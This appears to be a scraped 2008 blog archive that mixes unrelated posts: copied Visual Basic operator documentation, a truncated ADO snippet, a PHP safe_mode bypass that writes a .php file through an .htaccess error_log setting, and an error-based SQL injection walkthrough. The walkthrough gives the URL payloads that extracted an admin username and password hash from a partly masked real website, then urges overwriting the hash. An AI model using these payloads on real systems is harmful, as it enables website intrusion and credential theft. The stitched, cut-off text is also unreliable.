Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("", 0);

Operator

2008-12-18T08:01:00.000-08:00

Operator (Visual Basic)Visual Studio 2008
Returns the difference between two numeric expressions or the negative value of a numeric expression.
Expression1 – expression2
-Or –
-expression1
Parts
expression1
Required. Any numeric expression.
expression2
Required unless the – operator is calculating a negative value. Any numeric expression.

Result
The result is the difference between expression1 and expression2, or the negated value of expression1.
The result data type is a numeric type appropriate for the data types of expression1 and expression2. See the "Integer Arithmetic" tables in Data Types of Operator Results.
Supported Types
All numeric types. This includes the unsigned and floating-point types and Decimal.
Remarks
In the first usage shown in the syntax shown previously, the – operator is the binary arithmetic subtraction operator for the difference between two numeric expressions.
In the second usage shown in the syntax shown previously, the – operator is the unary negation operator for the negative value of an expression. In this sense, the negation consists of reversing the sign of expression1 so that the result is positive if expression1 is negative.
If either expression evaluates to Nothing, the – operator treats it as zero.
Note :
The – operator can be overloaded, which means that a class or structure can redefine its behavior when an operand has the type of that class or structure. If your code uses this operator on such a class or structure, make sure that you understand its redefined behavior. For more information, see Operator Procedures.

Example
The following example uses the – operator to calculate and return the difference between two numbers, and then to negate a number.
Visual Basic
Dim binaryResult as Double = 459.35 – 334.9
Dim unaryResult as Double = -334.9

Following the execution of these statements, binaryResult contains 124.45 and unaryResult contains –334.90.

A basic ADO

2008-12-16T00:05:00.000-08:00

New to ADO? Worried about ADO? This little subroutine gets round the problems of opening ADO recordsets. Please look elsewhere on this site for info on opening the database itself. If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it. Here the solution !!

If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it... (Oh My!).
Here's my solution. It requires a public ADODB.Connection - I call it gCn.
The routine will open a new recordset (compatible with Janus GridEx), or refresh it if it's open or if the SQL has changed. Optional ReadOnly argument.

'
' Inputs:rs - an ADO recordset (eg Dim r
' sMine as New ADODB.Recordset)
szSource - (eg "select * from customers")
Optional - bReadOnly (True for read-only)
'
' Returns:Sets the supplied Recordset.
'
'Assumes:Assumes your public ADO Connect

http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&tempname=fire⊂=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27))--

table_name = Seller
Its not that table we are seeking, so we keep on:
http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&tempname=fire⊂=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27 and table_name not in ('Seller')))--

Bingo
Table_name = USER_

Start to get username and pass from USER_:

http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&tempname=fire⊂=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 %2b'Username= '%2bconvert(varchar,isnull(convert(varchar,user_name),'NULL'))%2b' -- Password= : '%2bconvert(varchar,isnull(convert(varchar,Pass),'NULL')) from USER_ where Code='1'))

user : admin
pass : kaBY/8jRC+XbjSIIDhsHFmOX1B2pDd

Update hash to a hash you know its decode and enjoy.
